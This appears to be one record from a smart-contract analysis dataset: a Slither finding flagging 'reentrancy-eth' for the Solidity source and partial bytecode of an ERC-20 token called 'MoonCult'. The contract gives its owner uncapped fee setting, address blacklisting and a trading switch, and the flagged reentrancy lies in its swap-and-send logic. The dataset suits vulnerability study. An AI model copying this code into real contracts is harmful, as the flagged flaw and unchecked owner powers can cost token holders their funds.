6f776572207468616044820152656e20302e312560d01b6064820152608401610616565b601855565b6000546001600160a01b0316331461096f5760405162461bcd60e51b815260040161061690611f68565b6015805460ff60a01b1916600160a01b17905543601755565b6000546001600160a01b031633146109b25760405162461bcd60e51b815260040161061690611f68565b601a55565b6000546001600160a01b031633146109e15760405162461bcd60e51b815260040161061690611f68565b6008849055600a8390556009829055600b8190556000610a01828561200d565b90506000610a0f848761200d565b9050601982111580610a22575060198111155b610a675760405162461bcd60e51b815260206004820152601660248201527546656573206d75737420626520756e6465722032352560501b6044820152606401610616565b505050505050565b60006106a6338484610ed2565b6012546001600160a01b0316336001600160a01b03161480610ab157506013546001600160a01b0316336001600160a01b0316145b610aba57600080fd5b6000610ac53061080e565b905061080b81611616565b6000546001600160a01b03163314610afa5760405162461bcd60e51b815260040161061690611f68565b60005b82811015610b79578160056000868685818110610b2a57634e487b7160e01b600052603260045260246000fd5b9050602002016020810190610b3f9190611c91565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610b718161207b565b915050610afd565b50505050565b6000546001600160a01b03163314610ba95760405162461bcd60e51b815260040161061690611f68565b60005b818110156106955760016010600060168481548110610bdb57634e487b7160e01b600052603260045260246000fd5b6000918252602080832091909101546001600160a01b031683528201929092526040019020805460ff191691151591909117905580610c198161207b565b915050610bac565b6000546001600160a01b03163314610c4b5760405162461bcd60e51b815260040161061690611f68565b610c5f6103e867016345785d8a0000612025565b811015610cbf5760405162461bcd60e51b815260206004820152602860248201527f43616e6e6f7420736574206d617857616c6c657453697a65206c6f776572207460448201526768616e20302e312560c01b6064820152608401610616565b601955565b6000546001600160a01b03163314610cee5760405162461bcd60e51b815260040161061690611f68565b6001600160a01b038116610d535760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610616565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610e105760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610616565b6001600160a01b038216610e715760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610616565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610f365760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610616565b6001600160a01b038216610f985760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610616565b60008111610ffa5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610616565b6000546001600160a01b0384811691161480159061102657506000546001600160a01b03838116911614155b156113b15760175461103990600461200d565b4310801561105557506015546001600160a01b03838116911614155b801561106a57506001600160a01b0382163014155b801561108457506014546001600160a01b03838116911614155b156110d557601680546001810182556000919091527fd833147d7dc355ba459fc788f669e58cfaf9dc25ddcd0702e87d69c7b51242890180546001600160a01b0319166001600160a01b0384161790555b601554600160a01b900460ff16611169576000546001600160a01b038481169116146111695760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c6564006064820152608401610616565b6018548111156111bb5760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d6974000000006044820152606401610616565b6001600160a01b03831660009081526010602052604090205460ff161580156111fd57506001600160a01b03821660009081526010602052604090205460ff16155b6112555760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b6064820152608401610616565b6015546001600160a01b038381169116146112da57601954816112778461080e565b611281919061200d565b106112da5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b6064820152608401610616565b60006112e53061080e565b601a546018549192508210159082106112fe5760185491505b8080156113155750601554600160a81b900460ff16155b801561132f57506015546001600160a01b03868116911614155b80156113445750601554600160b01b900460ff165b801561136957506001600160a01b03851660009081526005602052604090205460ff16155b801561138e57506001600160a01b03841660009081526005602052604090205460ff16155b156113ae5761139c82611616565b4780156113ac576113ac4761150d565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff16806113f357506001600160a01b03831660009081526005602052604090205460ff165b8061142557506015546001600160a01b0385811691161480159061142557506015546001600160a01b03848116911614155b15611432575060006114c7565b6015546001600160a01b03858116911614801561145d57506014546001600160a01b03848116911614155b1561146f57600854600c55600954600d555b6015546001600160a01b03848116911614801561149a57506014546001600160a01b03858116911614155b156114c75760006114b8600b546009546117bb90919063ffffffff16565b5050600a54600c55600b54600d555b610b79848484846117fd565b600081848411156114f75760405162461bcd60e51b81526004016106169190611f15565b5060006115048486612064565b95945050505050565b6012546001600160a01b03166108fc6115278360026117bb565b6040518115909202916000818181858888f1935050505015801561154f573d6000803e3d6000fd5b506013546001600160a01b03166108fc61156a8360026117bb565b6040518115909202916000818181858888f19350505050158015610695573d6000803e3d6000fd5b60006006548211156115f95760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610616565b600061160361182b565b905061160f83826117bb565b9392505050565b6015805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061166c57634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b1580156116c057600080fd5b505afa1580156116d4573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906116f89190611cad565b8160018151811061171957634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201015260145461173f9130911684610dae565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac94790611778908590600090869030904290600401611f9d565b600060405180830381600087803b15801561179257600080fd5b505af11580156117a6573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b600061160f83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061184e565b8061180a5761180a61187c565b6118158484846118aa565b80610b7957610b79600e54600c55600f54600d55565b60008060006118386119a1565b909250905061184782826117bb565b9250505090565b6000818361186f5760405162461bcd60e51b81526004016106169190611f15565b5060006115048486612025565b600c5415801561188c5750600d54155b1561189357565b600c8054600e55600d8054600f5560009182905555565b6000806000806000806118bc876119e1565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506118ee9087611a3e565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461191d9086611a80565b6001600160a01b03891660009081526002602052604090205561193f81611adf565b6119498483611b29565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161198e91815260200190565b60405180910390a3505050505050505050565b600654600090819067016345785d8a00006119bc82826117bb565b8210156119d85750506006549267016345785d8a000092509050565b90939092509050565b60008060008060008060008060006119fe8a600c54600d54611b4d565b9250925092506000611a0e61182b565b90506000806000611a218e878787611ba2565b919e509c509a509598509396509194505050505091939550919395565b600061160f83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506114d3565b600080611a8d838561200d565b90508381101561160f5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610616565b6000611ae961182b565b90506000611af78383611bf2565b30600090815260026020526040902054909150611b149082611a80565b30600090815260026020526040902055505050565b600654611b369083611a3e565b600655600754611b469082611a80565b6007555050565b6000808080611b676064611b618989611bf2565b906117bb565b90506000611b7a6064611b618a89611bf2565b90506000611b9282611b8c8b86611a3e565b90611a3e565b9992985090965090945050505050565b6000808080611bb18886611bf2565b90506000611bbf8887611bf2565b90506000611bcd8888611bf2565b90506000611bdf82611b8c8686611a3e565b939b939a50919850919650505050505050565b600082611c01575060006106aa565b6000611c0d8385612045565b905082611c1a8583612025565b1461160f5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610616565b8035611c7c816120c2565b919050565b80358015158114611c7c57600080fd5b600060208284031215611ca2578081fd5b813561160f816120c2565b600060208284031215611cbe578081fd5b815161160f816120c2565b60008060408385031215611cdb578081fd5b8235611ce6816120c2565b91506020830135611cf6816120c2565b809150509250929050565b600080600060608486031215611d15578081fd5b8335611d20816120c2565b92506020840135611d30816120c2565b929592945050506040919091013590565b60008060408385031215611d53578182fd5b8235611d5e816120c2565b946020939093013593505050565b600080600060408486031215611d80578283fd5b833567ffffffffffffffff80821115611d97578485fd5b818601915086601f830112611daa578485fd5b813581811115611db8578586fd5b8760208260051b8501011115611dcc578586fd5b602092830195509350611de29186019050611c81565b90509250925092565b60006020808385031215611dfd578182fd5b823567ffffffffffffffff80821115611e14578384fd5b818501915085601f830112611e27578384fd5b813581811115611e3957611e396120ac565b8060051b604051601f19603f83011681018181108582111715611e5e57611e5e6120ac565b604052828152858101935084860182860187018a1015611e7c578788fd5b8795505b83861015611ea557611e9181611c71565b855260019590950194938601938601611e80565b5098975050505050505050565b600060208284031215611ec3578081fd5b61160f82611c81565b600060208284031215611edd578081fd5b5035919050565b60008060008060808587031215611ef9578081fd5b5050823594602084013594506040840135936060013592509050565b6000602080835283518082850152825b81811015611f4157858101830151858201604001528201611f25565b81811115611f525783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b81811015611fec5784516001600160a01b031683529383019391830191600101611fc7565b50506001600160a01b03969096166060850152505050608001529392505050565b6000821982111561202057612020612096565b500190565b60008261204057634e487b7160e01b81526012600452602481fd5b500490565b600081600019048311821515161561205f5761205f612096565b500290565b60008282101561207657612076612096565b500390565b600060001982141561208f5761208f612096565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461080b57600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212209f536bb8eeb0fff483b70a69666592c54ec0990467b9ddbe7f3ed53bff9c21ce64736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
| 7,754 |
0xbe3fc4a4df09fce34494dc4e0183e1fff7293354
|
/**
$MoonCult
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.9;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract MoonCult is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "MoonCult";
string private constant _symbol = "MoonCult";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 10000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _redisFeeOnBuy = 1;
uint256 private _taxFeeOnBuy = 5;
uint256 private _redisFeeOnSell = 1;
uint256 private _taxFeeOnSell = 5;
//Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots; mapping (address => uint256) public _buyMap;
address payable private _developmentAddress = payable(0x2D542716bd31f9631141B4233259723364D7D709);
address payable private _marketingAddress = payable(0x2D542716bd31f9631141B4233259723364D7D709);
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 100000000 * 10**9;
uint256 public _maxWalletSize = 250000000 * 10**9;
uint256 public _swapTokensAtAmount = 1000000 * 10**9;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);//
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_developmentAddress] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_marketingAddress.transfer(amount);
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
}
function manualswap() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set maximum transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
}
|
0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a2a957bb11610095578063c492f04611610064578063c492f04614610523578063dd62ed3e14610543578063ea1644d514610589578063f2fde38b146105a957600080fd5b8063a2a957bb1461049e578063a9059cbb146104be578063bfd79284146104de578063c3c8cd801461050e57600080fd5b80638f70ccf7116100d15780638f70ccf7146104485780638f9a55c01461046857806395d89b41146101fe57806398a5c3151461047e57600080fd5b80637d1db4a5146103e75780637f2feddc146103fd5780638da5cb5b1461042a57600080fd5b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec1461037d57806370a0823114610392578063715018a6146103b257806374010ece146103c757600080fd5b8063313ce5671461030157806349bd5a5e1461031d5780636b9990531461033d5780636d8aa8f81461035d57600080fd5b80631694505e116101ab5780631694505e1461026e57806318160ddd146102a657806323b872dd146102cb5780632fd689e3146102eb57600080fd5b8062b8cf2a146101dc57806306fdde03146101fe578063095ea7b31461023e57600080fd5b366101d757005b600080fd5b3480156101e857600080fd5b506101fc6101f736600461192d565b6105c9565b005b34801561020a57600080fd5b506040805180820182526008815267135bdbdb90dd5b1d60c21b6020820152905161023591906119f2565b60405180910390f35b34801561024a57600080fd5b5061025e610259366004611a47565b610668565b6040519015158152602001610235565b34801561027a57600080fd5b5060145461028e906001600160a01b031681565b6040516001600160a01b039091168152602001610235565b3480156102b257600080fd5b50678ac7230489e800005b604051908152602001610235565b3480156102d757600080fd5b5061025e6102e6366004611a73565b61067f565b3480156102f757600080fd5b506102bd60185481565b34801561030d57600080fd5b5060405160098152602001610235565b34801561032957600080fd5b5060155461028e906001600160a01b031681565b34801561034957600080fd5b506101fc610358366004611ab4565b6106e8565b34801561036957600080fd5b506101fc610378366004611ae1565b610733565b34801561038957600080fd5b506101fc61077b565b34801561039e57600080fd5b506102bd6103ad366004611ab4565b6107c6565b3480156103be57600080fd5b506101fc6107e8565b3480156103d357600080fd5b506101fc6103e2366004611afc565b61085c565b3480156103f357600080fd5b506102bd60165481565b34801561040957600080fd5b506102bd610418366004611ab4565b60116020526000908152604090205481565b34801561043657600080fd5b506000546001600160a01b031661028e565b34801561045457600080fd5b506101fc610463366004611ae1565b61088b565b34801561047457600080fd5b506102bd60175481565b34801561048a57600080fd5b506101fc610499366004611afc565b6108d3565b3480156104aa57600080fd5b506101fc6104b9366004611b15565b610902565b3480156104ca57600080fd5b5061025e6104d9366004611a47565b610940565b3480156104ea57600080fd5b5061025e6104f9366004611ab4565b60106020526000908152604090205460ff1681565b34801561051a57600080fd5b506101fc61094d565b34801561052f57600080fd5b506101fc61053e366004611b47565b6109a1565b34801561054f57600080fd5b506102bd61055e366004611bcb565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561059557600080fd5b506101fc6105a4366004611afc565b610a42565b3480156105b557600080fd5b506101fc6105c4366004611ab4565b610a71565b6000546001600160a01b031633146105fc5760405162461bcd60e51b81526004016105f390611c04565b60405180910390fd5b60005b81518110156106645760016010600084848151811061062057610620611c39565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061065c81611c65565b9150506105ff565b5050565b6000610675338484610b5b565b5060015b92915050565b600061068c848484610c7f565b6106de84336106d985604051806060016040528060288152602001611d7f602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906111bb565b610b5b565b5060019392505050565b6000546001600160a01b031633146107125760405162461bcd60e51b81526004016105f390611c04565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b0316331461075d5760405162461bcd60e51b81526004016105f390611c04565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b031614806107b057506013546001600160a01b0316336001600160a01b0316145b6107b957600080fd5b476107c3816111f5565b50565b6001600160a01b0381166000908152600260205260408120546106799061122f565b6000546001600160a01b031633146108125760405162461bcd60e51b81526004016105f390611c04565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108865760405162461bcd60e51b81526004016105f390611c04565b601655565b6000546001600160a01b031633146108b55760405162461bcd60e51b81526004016105f390611c04565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b031633146108fd5760405162461bcd60e51b81526004016105f390611c04565b601855565b6000546001600160a01b0316331461092c5760405162461bcd60e51b81526004016105f390611c04565b600893909355600a91909155600955600b55565b6000610675338484610c7f565b6012546001600160a01b0316336001600160a01b0316148061098257506013546001600160a01b0316336001600160a01b0316145b61098b57600080fd5b6000610996306107c6565b90506107c3816112b3565b6000546001600160a01b031633146109cb5760405162461bcd60e51b81526004016105f390611c04565b60005b82811015610a3c5781600560008686858181106109ed576109ed611c39565b9050602002016020810190610a029190611ab4565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610a3481611c65565b9150506109ce565b50505050565b6000546001600160a01b03163314610a6c5760405162461bcd60e51b81526004016105f390611c04565b601755565b6000546001600160a01b03163314610a9b5760405162461bcd60e51b81526004016105f390611c04565b6001600160a01b038116610b005760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016105f3565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610bbd5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016105f3565b6001600160a01b038216610c1e5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016105f3565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610ce35760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016105f3565b6001600160a01b038216610d455760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016105f3565b60008111610da75760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016105f3565b6000546001600160a01b03848116911614801590610dd357506000546001600160a01b03838116911614155b156110b457601554600160a01b900460ff16610e6c576000546001600160a01b03848